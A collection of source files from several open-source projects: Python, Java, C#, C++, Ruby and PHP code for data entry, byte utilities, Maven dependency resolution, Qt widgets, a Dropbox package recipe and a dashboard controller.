input of primary source info. The URL should be reviewed and the number of primary source documents published there determined (this may be zero). Then details about each primary source should be input and will be written to the supplied appendfile. Ctrl-c aborts the input process and exits this function without further writes to the appendfile. ''' review_completed = False written = 0 print url try: # how many primary sources will we create from this url num_ps = raw_input('Number of Primary Sources to create? [1] ') or '1' if len(previously_saved): print 'Previously saved:' for ps in previously_saved: print ps common_pubdate = False common_art_url = False common_art_pubdate = False common_pres_url = '' for i in range(len(previously_saved), int(num_ps)): print 'Primary Source #%d of %s:' % (i+1, num_ps) pubdate = raw_input('Publication date (%%Y-%%m-%%d)? [%s] ' % (common_pubdate or date) ) or common_pubdate or date presentation_url = raw_input('Presentation url? [%s] ' % common_pres_url ) or common_pres_url doc_url = raw_input('Primary Source url? ') article_url = raw_input('Accompanying article url? [%s] ' % (common_art_url or url) ) or common_art_url or url article_pubdate = raw_input('Accompanying article date (%%Y-%%m-%%d)? [%s] ' % (common_art_pubdate or pubdate) ) or common_art_pubdate or pubdate # write the primary source ps = {'url': doc_url, 'presentation_url': presentation_url, 'pubdate': pubdate, 'article_url': article_url, 'article_pubdate': article_pubdate, 'skey': url} appendfile.write(json.dumps(ps)) appendfile.write('\n') written += 1 # a non-empty presentation_url might be the same for all # of the following Primary Sources if presentation_url != '': common_pres_url = presentation_url # a non-empty article_pubdate might be the same for all # of the following Primary Sources if ((not common_art_pubdate and pubdate != article_pubdate) or (common_art_pubdate and common_art_pubdate != article_pubdate)): common_art_pubdate = article_pubdate # a pubdate that isn't date might be the same for all of # the following Primary Sources if ((not common_pubdate and date != pubdate) or (common_pubdate and common_pubdate != pubdate)): common_pubdate = pubdate # an article_url that isn't url might be the same for all # of the following Primary Sources if ((not common_art_url and url != article_url) or (common_art_url and common_art_url != article_url)): common_art_url = article_url except KeyboardInterrupt: print '\nAborting this item.' review_completed = False else: review_completed = True finally: print 'Written %d Primary Source entries.' % written return review_completed == True if __name__ == '__main__': arguments = docopt(__doc__, version='0.0.1') sys.exit(main(arguments))
gpl-3.0
gklimek/philippides
src/test/java/org/philippides/util/BytesTest.java
1338
package org.philippides.util; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import org.junit.Test; import static org.junit.Assert.*; public class BytesTest { @Test public void testToUnsignedInt() { long unsignedInt = Bytes.toUnsignedInt(new byte[] {0x70, (byte) 0x80, (byte) 0x90, (byte) 0xa0}, 0); assertEquals(0x708090a0, unsignedInt); } @Test public void testRead1ByteInteger() throws IOException { assertEquals(192, Bytes.read1ByteInteger(new ByteArrayInputStream(new byte[] {(byte) 0xc0}))); } @Test public void testToUnsignedShort() { int unsignedShort = Bytes.toUnsignedShort(new byte[] {(byte) 0x80, (byte) 0x90}, 0); assertEquals(0x00008090, unsignedShort); } @Test public void testFromUnsignedInt() { byte[] bytes = new byte[4]; Bytes.fromUnsignedInt(bytes, 0, 0xc1729364); assertArrayEquals(new byte[] {(byte) 0xc1, 0x72, (byte) 0x93, 0x64}, bytes); } @Test public void testWrite4ByteInteger() throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Bytes.write4ByteInteger(baos, 0xc1729364); assertArrayEquals(new byte[] {(byte) 0xc1, 0x72, (byte) 0x93, 0x64}, baos.toByteArray()); } }
gpl-3.0
kosmakoff/WebApiWithAuth
src/WebApiWithAuth/Models/ApplicationDbContext.cs
759
using Microsoft.AspNetCore.Identity.EntityFrameworkCore; using Microsoft.EntityFrameworkCore; namespace WebApiWithAuth.Models { public class ApplicationDbContext : IdentityDbContext<ApplicationUser, ApplicationRole, string> { public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options) : base(options) { } protected override void OnModelCreating(ModelBuilder builder) { base.OnModelCreating(builder); // Customize the ASP.NET Identity model and override the defaults if needed. // For example, you can rename the ASP.NET Identity table names and more. // Add your customizations after calling base.OnModelCreating(builder); } } }
gpl-3.0
highsad/iDesktop-Cross
RealspaceView/src/com/supermap/desktop/CtrlAction/CtrlActionDatasetAddToCurrentScene.java
2129
package com.supermap.desktop.CtrlAction; import javax.swing.tree.DefaultMutableTreeNode; import com.supermap.data.Dataset; import com.supermap.data.DatasetType; import com.supermap.data.DatasetVector; import com.supermap.desktop.Application; import com.supermap.desktop.Interface.IBaseItem; import com.supermap.desktop.Interface.IForm; import com.supermap.desktop.Interface.IFormScene; import com.supermap.desktop.implement.CtrlAction; import com.supermap.desktop.ui.UICommonToolkit; import com.supermap.desktop.ui.WorkspaceComponentManager; import com.supermap.desktop.ui.controls.TreeNodeData; import com.supermap.desktop.utilties.SceneUtilties; import com.supermap.realspace.Layer3D; import com.supermap.realspace.Layer3DSettingGrid; import com.supermap.realspace.Layer3DSettingImage; import com.supermap.realspace.Layer3DSettingVector; import com.supermap.realspace.Scene; public class CtrlActionDatasetAddToCurrentScene extends CtrlAction { public CtrlActionDatasetAddToCurrentScene(IBaseItem caller, IForm formClass) { super(caller, formClass); } @Override public void run() { try { Dataset[] datasets = Application.getActiveApplication().getActiveDatasets(); IFormScene formScene = (IFormScene) Application.getActiveApplication().getActiveForm(); Scene scene = formScene.getSceneControl().getScene(); for (Dataset dataset : datasets) { SceneUtilties.addDatasetToScene(scene, dataset, true); } scene.refresh(); UICommonToolkit.getLayersManager().setScene(scene); } catch (Exception ex) { Application.getActiveApplication().getOutput().output(ex); } } @Override public boolean enable() { boolean enable = false; try { Dataset[] datasets = Application.getActiveApplication().getActiveDatasets(); if ((Application.getActiveApplication().getActiveForm() instanceof IFormScene) && datasets != null && datasets.length > 0 && datasets[0].getType() != DatasetType.TABULAR && datasets[0].getType() != DatasetType.TOPOLOGY) { enable = true; } } catch (Exception ex) { Application.getActiveApplication().getOutput().output(ex); } return enable; } }
gpl-3.0
leafsoftinfo/pyramus
plugin-core/src/main/java/fi/pyramus/plugin/maven/MavenClient.java
18331
package fi.pyramus.plugin.maven; import java.io.File; import java.util.ArrayList; import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.maven.model.building.DefaultModelBuilder; import org.apache.maven.model.building.DefaultModelBuilderFactory; import org.apache.maven.repository.internal.DefaultArtifactDescriptorReader; import org.apache.maven.repository.internal.DefaultVersionRangeResolver; import org.apache.maven.repository.internal.DefaultVersionResolver; import org.apache.maven.repository.internal.MavenRepositorySystemSession; import org.apache.maven.wagon.Wagon; import org.apache.maven.wagon.providers.http.LightweightHttpWagon; import org.apache.maven.wagon.providers.http.LightweightHttpWagonAuthenticator; import org.apache.maven.wagon.providers.http.LightweightHttpsWagon; import org.sonatype.aether.RepositorySystemSession; import org.sonatype.aether.artifact.Artifact; import org.sonatype.aether.collection.DependencyCollectionException; import org.sonatype.aether.connector.wagon.WagonProvider; import org.sonatype.aether.connector.wagon.WagonRepositoryConnectorFactory; import org.sonatype.aether.graph.Dependency; import org.sonatype.aether.graph.Exclusion; import org.sonatype.aether.impl.ArtifactDescriptorReader; import org.sonatype.aether.impl.ArtifactResolver; import org.sonatype.aether.impl.MetadataResolver; import org.sonatype.aether.impl.RemoteRepositoryManager; import org.sonatype.aether.impl.RepositoryEventDispatcher; import org.sonatype.aether.impl.SyncContextFactory; import org.sonatype.aether.impl.UpdateCheckManager; import org.sonatype.aether.impl.VersionRangeResolver; import org.sonatype.aether.impl.VersionResolver; import org.sonatype.aether.impl.internal.DefaultArtifactResolver; import org.sonatype.aether.impl.internal.DefaultDependencyCollector; import org.sonatype.aether.impl.internal.DefaultFileProcessor; import org.sonatype.aether.impl.internal.DefaultLocalRepositoryProvider; import org.sonatype.aether.impl.internal.DefaultMetadataResolver; import org.sonatype.aether.impl.internal.DefaultRemoteRepositoryManager; import org.sonatype.aether.impl.internal.DefaultRepositoryEventDispatcher; import org.sonatype.aether.impl.internal.DefaultRepositorySystem; import org.sonatype.aether.impl.internal.DefaultSyncContextFactory; import org.sonatype.aether.impl.internal.DefaultUpdateCheckManager; import org.sonatype.aether.impl.internal.SimpleLocalRepositoryManagerFactory; import org.sonatype.aether.repository.LocalRepository; import org.sonatype.aether.repository.RemoteRepository; import org.sonatype.aether.resolution.ArtifactDescriptorException; import org.sonatype.aether.resolution.ArtifactDescriptorRequest; import org.sonatype.aether.resolution.ArtifactDescriptorResult; import org.sonatype.aether.resolution.ArtifactRequest; import org.sonatype.aether.resolution.ArtifactResolutionException; import org.sonatype.aether.resolution.ArtifactResult; import org.sonatype.aether.resolution.DependencyResolutionException; import org.sonatype.aether.resolution.VersionRangeRequest; import org.sonatype.aether.resolution.VersionRangeResolutionException; import org.sonatype.aether.resolution.VersionRangeResult; import org.sonatype.aether.resolution.VersionResolutionException; import org.sonatype.aether.spi.io.FileProcessor; import org.sonatype.aether.spi.localrepo.LocalRepositoryManagerFactory; import org.sonatype.aether.util.artifact.DefaultArtifact; import org.sonatype.aether.version.Version; /** A class responsible for downloading plugins * and their dependencies using Maven. * */ public class MavenClient { public MavenClient(File localRepositoryDirectory) { this(localRepositoryDirectory, null); } /** Create a new Maven client. * * @param localRepositoryDirectory The directory containing the local Maven repository. * @param eclipseWorkspace Eclipse workspace directory. Adding this enables client to lookup project primarily from Eclipse workspace (for development purposes only) */ public MavenClient(File localRepositoryDirectory, String eclipseWorkspace) { RepositoryEventDispatcher repositoryEventDispatcher = new DefaultRepositoryEventDispatcher(); SyncContextFactory syncContextFactory = new DefaultSyncContextFactory(); UpdateCheckManager updateCheckManager = new DefaultUpdateCheckManager(); FileProcessor fileProcessor = new DefaultFileProcessor(); remoteRepositoryManager = createRepositoryManager(updateCheckManager, fileProcessor); MetadataResolver metadataResolver = createMetadataResolver(remoteRepositoryManager, repositoryEventDispatcher, syncContextFactory, updateCheckManager); VersionResolver versionResolver = createVersionResolver(repositoryEventDispatcher, metadataResolver, syncContextFactory); VersionRangeResolver versionRangeResolver = createVersionRangeResolver(metadataResolver, repositoryEventDispatcher, syncContextFactory); ArtifactResolver artifactResolver = createArtifactResolver(repositoryEventDispatcher, syncContextFactory, remoteRepositoryManager, versionResolver, fileProcessor); ArtifactDescriptorReader artifactDescriptorReader = createArtifactDescriptionReader(repositoryEventDispatcher, versionResolver, artifactResolver, remoteRepositoryManager); DefaultRepositorySystem repositorySystem = createRepositorySystem(remoteRepositoryManager, artifactDescriptorReader, versionRangeResolver, versionResolver, artifactResolver); this.localRepositoryPath = localRepositoryDirectory.getAbsolutePath(); this.artifactResolver = artifactResolver; this.artifactDescriptorReader = artifactDescriptorReader; this.systemSession = createSystemSession(repositorySystem, eclipseWorkspace); this.repositorySystem = repositorySystem; this.versionRangeResolver = versionRangeResolver; } private DefaultRepositorySystem createRepositorySystem(RemoteRepositoryManager remoteRepositoryManager, ArtifactDescriptorReader artifactDescriptorReader, VersionRangeResolver versionRangeResolver, VersionResolver versionResolver, ArtifactResolver artifactResolver) { DefaultDependencyCollector dependencyCollector = new DefaultDependencyCollector(); dependencyCollector.setVersionRangeResolver(versionRangeResolver); dependencyCollector.setArtifactDescriptorReader(artifactDescriptorReader); dependencyCollector.setRemoteRepositoryManager(remoteRepositoryManager); DefaultRepositorySystem result = new DefaultRepositorySystem(); result.setVersionRangeResolver(versionRangeResolver); result.setVersionResolver(versionResolver); result.setDependencyCollector(dependencyCollector); result.setArtifactResolver(artifactResolver); return result; } /** List the versions of a specified artifact. * * @param groupId The Maven group ID of the artifact. * @param artifactId The Maven artifact ID of the artifact. * @return The versions of the specified artifact available to Maven. * @throws VersionRangeResolutionException */ public List<Version> listVersions(String groupId, String artifactId) throws VersionRangeResolutionException { Artifact artifact = new DefaultArtifact(groupId, artifactId, "jar", "[0.0.0,999.999.999]"); VersionRangeRequest request = new VersionRangeRequest(artifact, getRemoteRepositories(), null); VersionRangeResult rangeResult = versionRangeResolver.resolveVersionRange(systemSession, request); return rangeResult.getVersions(); } /** * Describe an artifact residing in a remote repository. * * @param artifact The artifact. * @return A descriptor result describing the artifact, or <code>null</code> if the artifact doesn't exist. * @throws ArtifactDescriptorException * @throws ArtifactResolutionException * @throws VersionResolutionException */ public ArtifactDescriptorResult describeArtifact(Artifact artifact) throws ArtifactResolutionException, ArtifactDescriptorException, VersionResolutionException { return describeArtifact(artifact, getRemoteRepositories()); } /** * Describe an artifact residing in a remote repository. * * @param artifact The artifact. * @param list of repositories used for resolving * @return A descriptor result describing the artifact, or <code>null</code> if the artifact doesn't exist. * @throws ArtifactDescriptorException * @throws ArtifactResolutionException * @throws VersionResolutionException */ public ArtifactDescriptorResult describeArtifact(Artifact artifact, List<RemoteRepository> remoteRepositories) throws ArtifactResolutionException, ArtifactDescriptorException, VersionResolutionException { ArtifactResult artifactResult = artifactResolver.resolveArtifact(systemSession, new ArtifactRequest(artifact, remoteRepositories, null)); ArtifactDescriptorRequest request = new ArtifactDescriptorRequest(artifactResult.getArtifact(), remoteRepositories, null); ArtifactDescriptorResult descriptorResult = artifactDescriptorReader.readArtifactDescriptor(systemSession, request); for (Dependency dependency : descriptorResult.getDependencies()) { if ("compile".equals(dependency.getScope())) { artifactResolver.resolveArtifact(systemSession, new ArtifactRequest(dependency.getArtifact(), descriptorResult.getRepositories(), null)); } } return descriptorResult; } /** Returns the JAR fire corresponding to the specified artifact. * * @param artifact The artifact whose JAR file is returned. * @return The JAR fire corresponding to the specified artifact. */ public File getArtifactJarFile(Artifact artifact) { if (artifact.getFile() == null) { String pathForLocalArtifact = systemSession.getLocalRepositoryManager().getPathForLocalArtifact(artifact); return new File(systemSession.getLocalRepository().getBasedir(), pathForLocalArtifact); } else { return artifact.getFile(); } } /** Returns the list of remote repositories. * * @return The list of remote repositories. */ public List<RemoteRepository> getRemoteRepositories() { return remoteRepositories; } /** Add a remote repository for locating the artifacts. * * @param remoteRepository repository to be added */ public void addRepository(RemoteRepository remoteRepository) { remoteRepositories.add(remoteRepository); } /** Add a remote repository for locating the artifacts. * * @param id The Id of the repository. * @param url The URL of the repository. */ public void addRepository(String id, String url) { this.addRepository(new RemoteRepository(id, "default", url)); } /** Remove a repository (local or remote) for locating the artifacts. * * @param url The URL of the repository. If it starts with '/', the * repository is assumed to be local, otherwise it's assumed to be * remote. */ public void removeRepository(String url) { for (RemoteRepository remoteRepository : remoteRepositories) { if ((remoteRepository.getUrl().equals(url))) { remoteRepositories.remove(remoteRepository); return; } } } private ArtifactDescriptorReader createArtifactDescriptionReader(RepositoryEventDispatcher repositoryEventDispatcher, VersionResolver versionResolver, ArtifactResolver defaultArtifactResolver, RemoteRepositoryManager remoteRepositoryManager) { DefaultModelBuilderFactory modelBuilderFactory = new DefaultModelBuilderFactory(); DefaultModelBuilder modelBuilder = modelBuilderFactory.newInstance(); DefaultArtifactDescriptorReader artifactDescriptorReader = new DefaultArtifactDescriptorReader(); artifactDescriptorReader.setVersionResolver(versionResolver); artifactDescriptorReader.setArtifactResolver(defaultArtifactResolver); artifactDescriptorReader.setModelBuilder(modelBuilder); artifactDescriptorReader.setRepositoryEventDispatcher(repositoryEventDispatcher); artifactDescriptorReader.setRemoteRepositoryManager(remoteRepositoryManager); return artifactDescriptorReader; } private ArtifactResolver createArtifactResolver(RepositoryEventDispatcher repositoryEventDispatcher, SyncContextFactory syncContextFactory, RemoteRepositoryManager remoteRepositoryManager, VersionResolver versionResolver, FileProcessor fileProcessor) { DefaultArtifactResolver artifactResolver = new DefaultArtifactResolver(); artifactResolver.setSyncContextFactory(syncContextFactory); artifactResolver.setRepositoryEventDispatcher(repositoryEventDispatcher); artifactResolver.setVersionResolver(versionResolver); artifactResolver.setRemoteRepositoryManager(remoteRepositoryManager); artifactResolver.setFileProcessor(fileProcessor); return artifactResolver; } private VersionResolver createVersionResolver(RepositoryEventDispatcher repositoryEventDispatcher, MetadataResolver metadataResolver, SyncContextFactory syncContextFactory) { DefaultVersionResolver versionResolver = new DefaultVersionResolver(); versionResolver.setRepositoryEventDispatcher(repositoryEventDispatcher); versionResolver.setMetadataResolver(metadataResolver); versionResolver.setSyncContextFactory(syncContextFactory); return versionResolver; } private MetadataResolver createMetadataResolver(RemoteRepositoryManager remoteRepositoryManager, RepositoryEventDispatcher repositoryEventDispatcher, SyncContextFactory syncContextFactory, UpdateCheckManager updateCheckManager) { DefaultMetadataResolver metadataResolver = new DefaultMetadataResolver(); metadataResolver.setSyncContextFactory(syncContextFactory); metadataResolver.setRepositoryEventDispatcher(repositoryEventDispatcher); metadataResolver.setRemoteRepositoryManager(remoteRepositoryManager); metadataResolver.setUpdateCheckManager(updateCheckManager); return metadataResolver; } private VersionRangeResolver createVersionRangeResolver(MetadataResolver metadataResolver, RepositoryEventDispatcher repositoryEventDispatcher, SyncContextFactory syncContextFactory) { DefaultVersionRangeResolver versionRangeResolver = new DefaultVersionRangeResolver(); versionRangeResolver.setMetadataResolver(metadataResolver); versionRangeResolver.setRepositoryEventDispatcher(repositoryEventDispatcher); versionRangeResolver.setSyncContextFactory(syncContextFactory); return versionRangeResolver; } private RemoteRepositoryManager createRepositoryManager(UpdateCheckManager updateCheckManager, FileProcessor fileProcessor) { DefaultRemoteRepositoryManager remoteRepositoryManager = new DefaultRemoteRepositoryManager(); WagonRepositoryConnectorFactory wagonRepositoryConnectorFactory = new WagonRepositoryConnectorFactory(); wagonRepositoryConnectorFactory.setWagonProvider(new WagonProvider() { @Override public void release(Wagon wagon) { } @Override public Wagon lookup(String roleHint) throws Exception { // TODO: Support for authentication switch (roleHint) { case "https": LightweightHttpsWagon httpsWagon = new LightweightHttpsWagon(); httpsWagon.setAuthenticator(new LightweightHttpWagonAuthenticator()); return httpsWagon; case "http": LightweightHttpWagon httpWagon = new LightweightHttpWagon(); httpWagon.setAuthenticator(new LightweightHttpWagonAuthenticator()); return httpWagon; } throw new Exception("Could not find wagon"); } }); wagonRepositoryConnectorFactory.setFileProcessor(fileProcessor); remoteRepositoryManager.addRepositoryConnectorFactory(wagonRepositoryConnectorFactory); remoteRepositoryManager.setUpdateCheckManager(updateCheckManager); return remoteRepositoryManager; } private RepositorySystemSession createSystemSession(DefaultRepositorySystem repositorySystem, String eclipseWorkspace) { repositorySystem.setLocalRepositoryProvider(getLocalRepositoryProvider()); MavenRepositorySystemSession session = new MavenRepositorySystemSession(); LocalRepository localRepository = new LocalRepository(localRepositoryPath); session.setLocalRepositoryManager(repositorySystem.newLocalRepositoryManager(localRepository)); if (StringUtils.isNotBlank(eclipseWorkspace)) { // If Eclipse workspace directory is provided and exists we // add workspace reader for it (for development only) File eclipseWorkspaceFolder = new File(eclipseWorkspace); if (eclipseWorkspaceFolder.exists()) { session.setWorkspaceReader(new LocalWorkspaceReader(eclipseWorkspaceFolder)); } } return session; } /** Returns the repository system used by Maven. * * @return the repository system used by Maven. */ public DefaultRepositorySystem getRepositorySystem() { return repositorySystem; } private DefaultLocalRepositoryProvider getLocalRepositoryProvider() { if (localRepositoryProvider == null) { localRepositoryProvider = new DefaultLocalRepositoryProvider(); localRepositoryProvider.addLocalRepositoryManagerFactory(localRepositoryManagerFactory); } return localRepositoryProvider; } public List<ArtifactResult> resolveDependencies(Artifact artifact, String scope, List<Exclusion> exclusions) throws DependencyCollectionException, DependencyResolutionException { DependencyResolver dependencyResolver = new DependencyResolver(); return dependencyResolver.resolveDependencies(repositorySystem, systemSession, remoteRepositories, artifact, scope, exclusions); } private RemoteRepositoryManager remoteRepositoryManager; private DefaultRepositorySystem repositorySystem; private DefaultLocalRepositoryProvider localRepositoryProvider; private LocalRepositoryManagerFactory localRepositoryManagerFactory = new SimpleLocalRepositoryManagerFactory(); private List<RemoteRepository> remoteRepositories = new ArrayList<RemoteRepository>(); private String localRepositoryPath; private ArtifactResolver artifactResolver; private ArtifactDescriptorReader artifactDescriptorReader; private VersionRangeResolver versionRangeResolver; private RepositorySystemSession systemSession; }
gpl-3.0
N247S/UI-API
src/main/java/com/UI_API/api/util/event/IEventHandler.java
981
/** * * This is a Library especially made for MineCraft to render (G)UI's. * Copyright (C) 2016 CreativeMD & N247S * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ package com.UI_API.api.util.event; /** * A functional interface used to create event handling methods. */ public interface IEventHandler<T extends EventBase> { public void handle(T event); }
gpl-3.0
quban2/quban
droptree.cpp
1714
/*************************************************************************** Copyright (C) 2011-2015 by Martin Demet quban100@gmail.com This file is part of Quban. Quban is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Quban is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Quban. If not, see <http://www.gnu.org/licenses/>. ***************************************************************************/ #include <QDebug> #include <QtDebug> #include <QUrl> #include "droptree.h" #include <QFile> #include <QMimeData> DropTree::DropTree(QWidget * parent ) : QTreeWidget(parent) { } DropTree::~DropTree() { } void DropTree::dragEnterEvent(QDragEnterEvent *event) { if (event->mimeData()->hasFormat("text/uri-list")) event->acceptProposedAction(); } void DropTree::dragMoveEvent(QDragMoveEvent *event) { // The event needs to be accepted here event->accept(); } void DropTree::dropEvent(QDropEvent *event) { QString nzbFileName; if (event->mimeData()->hasUrls()) { foreach (QUrl url, event->mimeData()->urls()) { nzbFileName = url.toLocalFile(); qDebug() << nzbFileName; emit fileDropped(nzbFileName); } } event->acceptProposedAction(); }
gpl-3.0
richard-fisher/chromebrew
packages/dropbox.rb
1477
require 'package' class Dropbox < Package description 'Dropbox simplifies the way you create, share and collaborate. Bring your photos, docs, and videos anywhere and keep your files safe.' homepage 'https://www.dropbox.com/' version '32.4.23-1' case ARCH when 'i686' source_url 'https://clientupdates.dropboxstatic.com/dbx-releng/client/dropbox-lnx.x86-32.4.23.tar.gz' source_sha256 'd7e130f2872fb2d141f8d2f892f7a2c29b95ccd3620398c21ea53dee878dc075' when 'x86_64' source_url 'https://clientupdates.dropboxstatic.com/dbx-releng/client/dropbox-lnx.x86_64-32.4.23.tar.gz' source_sha256 'a18dca750e72e0604b9798bfe5e0b9b7a2b5ed43116ab96166a298ae3c1b5086' else puts 'Unable to install dropboxd. Supported architectures include i686 and x86_64 only.'.lightred end depends_on 'python27' unless File.exists? '/usr/local/bin/python' def self.build system "wget https://linux.dropbox.com/packages/dropbox.py" system "sed -i 's,~/.dropbox-dist,#{CREW_LIB_PREFIX}/dropbox,g' dropbox.py" system "echo '#!/bin/bash' > dropbox" system "echo 'python #{CREW_PREFIX}/bin/dropbox.py \"\$@\"' >> dropbox" system "chmod +x dropbox" end def self.install system "mkdir -p #{CREW_DEST_PREFIX}/bin" system "mkdir -p #{CREW_DEST_LIB_PREFIX}/dropbox" system "cp -r .dropbox-dist/* #{CREW_DEST_LIB_PREFIX}/dropbox" system "cp dropbox.py #{CREW_DEST_PREFIX}/bin" system "cp dropbox #{CREW_DEST_PREFIX}/bin" end end
gpl-3.0
yvt/StellaAlpha
stella/stviewanimator.cpp
3591
#include "stviewanimator.h" #include <QDateTime> #include "stmath.h" STViewAnimator::STViewAnimator(QObject *parent) : QObject(parent) { m_newView=NULL; m_duration=200; m_startTime=0; m_width=0; m_timer=0; m_visibleOnlyWhenParentIsVisible=false; m_deleteWhenDone=false; } bool STViewAnimator::isAnimating(){ return QDateTime::currentMSecsSinceEpoch()<m_startTime+(quint64)m_duration; } float STViewAnimator::progress(){ float per=(float)(QDateTime::currentMSecsSinceEpoch()-m_startTime)/(float)m_duration; if(per<0.f)per=0.f; if(per>1.f)per=1.f; per=STSmoothStep(per); return per; } bool STViewAnimator::isViewVisible(QGraphicsItem *item){ if(m_visibleOnlyWhenParentIsVisible){ if(!item->parentItem()->isVisible()) return false; } if(!isAnimating()){ return item==m_newView; }else{ return item==m_newView || item==m_oldView; } } float STViewAnimator::viewXPos(QGraphicsItem *item){ if(!isAnimating())return 0.f; float per=progress(); if(item==m_newView){ if(m_opening==1){ per=1.f-per; return roundf(per*(float)m_width); }else if(m_opening==-1){ per=per-1.f; return roundf(per*(float)m_width); } }else if(item==m_oldView){ if(m_opening==1){ per=-per; return roundf(per*(float)m_width); }else if(m_opening==-1){ return roundf(per*(float)m_width); } }else{ return 0.f; } Q_ASSERT(false); } void STViewAnimator::setWidth(int width){ if(width==m_width)return; m_width=width; relayout(); } void STViewAnimator::relayout(bool fromTimer){ if(m_newView){ m_newView->setPos(viewXPos(m_newView), m_newView->pos().y()); m_newView->setVisible(isViewVisible(m_newView)); } if(m_oldView && (fromTimer || isAnimating())){ m_oldView->setPos(viewXPos(m_oldView), m_oldView->pos().y()); m_oldView->setVisible(isViewVisible(m_oldView)); } } void STViewAnimator::startAnimation(){ if(m_timer)return; if(!isAnimating())return; m_timer=this->startTimer(15); } void STViewAnimator::timerEvent(QTimerEvent *){ relayout(true); if(!isAnimating()){ if(m_deleteWhenDone){ delete m_oldView; m_oldView=NULL; } killTimer(m_timer); m_timer=0; } } void STViewAnimator::activateView(QGraphicsItem *item){ abortAnimation(); if(item==m_newView) return; m_newView=item; relayout(); } void STViewAnimator::activateViewAnimated(QGraphicsItem *itm, int direction, int duration, bool deleteWhenDone){ if(itm==m_newView) return; abortAnimation(); m_oldView=m_newView; m_newView=itm; m_opening=direction; m_duration=duration; m_startTime=QDateTime::currentMSecsSinceEpoch(); m_deleteWhenDone=deleteWhenDone; startAnimation(); // this makes starting of animation smoother timerEvent(NULL); m_startTime=QDateTime::currentMSecsSinceEpoch(); } void STViewAnimator::abortAnimation(){ if(!isAnimating()) return; m_startTime=0; if(m_deleteWhenDone){ delete m_oldView; m_oldView=NULL; } relayout(true); if(m_timer){ killTimer(m_timer); m_timer=0; } m_deleteWhenDone=false; Q_ASSERT(!isAnimating()); } void STViewAnimator::setVisibleOnlyWhenParentIsVisible(bool b){ m_visibleOnlyWhenParentIsVisible=b; relayout(); }
gpl-3.0
gmqz/Plenus
src/GestionBundle/Controller/DashboardController.php
8901
<?php namespace GestionBundle\Controller; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; /** * Dashboard controller. * * @Route("/gestion") * @Security("has_role('ROLE_DASHBOARD')") */ class DashboardController extends Controller { /** * @Route("/dashboard", name="dashboard") * @Method("GET") * @Template() */ public function indexAction() { // $em = $this->getDoctrine()->getManager(); // $usersStats = $this->parserUserStatsData($em->getRepository('SeguridadBundle:Usuario')->getStats()); // $usersOnLine = $em->getRepository('SeguridadBundle:Usuario')->findBy(array('logueado' => 1)); // $users = $em->getRepository('SeguridadBundle:Usuario')->findBy(array('activo' => 1)); // $usersInactived = $em->getRepository('SeguridadBundle:Usuario')->findBy(array('ultimaOperacion' => NULL,'activo' => 1)); // // exec('free -m -t', $response); // $response=str_replace("Total: ","",$response[4]); // $response=str_replace(" "," ",str_replace(" "," ",trim($response))); // $memUsed = explode(" ",$response ); // return array( // 'users' => $users, // 'usersStats' => $usersStats, // 'usersOnline' => $usersOnLine, // 'usersInactived' => $usersInactived, // 'memUsed' => $memUsed, // ); } /** * @Route("/dashboard/inscriptos", name="dashboard_inscriptos") * @Method("GET") * @Template("GestionBundle:Dashboard:dashboard.inscriptos.html.twig") */ public function dashboardInscriptosAction() { // $em = $this->getDoctrine()->getManager(); // $totalInscriptos = $this->parserTotalInscriptosData($em->getRepository('InscripcionBundle:Inscripto')->countInscriptosByTorneo()); // $municipiosInactivos = $em->getRepository('InscripcionBundle:Inscripto')->getMunicipiosSinInscriptos(); // $progesoInscripcion = $this->parserUserStatsData($em->getRepository('InscripcionBundle:Inscripto')->getProgreso()); // // return array( // 'totalInscriptos' => $totalInscriptos, // 'municipiosInactivos' => $municipiosInactivos, // 'progesoInscripcion' => $progesoInscripcion // ); } private function parserUserStatsData($userStats) { // $aux=['cantidades'=>'','dias'=>'']; // $i=0; // foreach ($userStats as $item) // { // $aux['cantidades'].=$item['cant'].','; // $aux['dias'].=$i.':"'.$item['fecha'].'",'; // $i++; // } // $aux['cantidades']=substr($aux['cantidades'], 0, -1); // $aux['dias']=substr($aux['dias'], 0, -1); // return $aux; } private function parserTotalInscriptosData($inscriptos) { // $totalInscriptos=['Deportes (Juveniles)'=>0,'Cultura (Adultos Mayores)'=>0,'Cultura (Juveniles)'=>0,'Deportes (Adultos Mayores)'=>0,'fem'=>0,'mas'=>0]; // foreach ($inscriptos as $item) // { // $totalInscriptos[$item['nombre']]=$item['total']; // $totalInscriptos['fem']+=$item['fem']; // $totalInscriptos['mas']+=$item['mas']; // } // return $totalInscriptos; } /** * @Route("/dashboard/finalistas", name="dashboard_finalistas") * @Method("GET") * @Template("GestionBundle:Dashboard:dashboard.finalistas.html.twig") */ public function dashboardFinalistasAction() { // $em = $this->getDoctrine()->getManager(); // //$torneos = $em->getRepository('ResultadoBundle:Torneo')->getEventosPorTorneo(); // $eventos = $em->getRepository('ResultadoBundle:Evento')->getAllPorUsuarioSinSoloInscribe($this->get('security.context')); // return array( // 'plazas' => $this->parserPlazas($eventos) // ); } private function parserPlazas($eventos) { // $totalPlazas=[ 'Disponibles' => [ // 'Deportes'=> [ // 'Juveniles' => 0, // 'AdultosMayores' => 0, // 'Especiales' => 0, // 'Total' => 0 // ], // 'Cultura' =>[ // 'Juveniles' => 0, // 'AdultosMayores' => 0, // 'Especiales' => 0, // 'Total' => 0 // ], // 'Total' => 0 // ], // 'Finalistas' => [ // 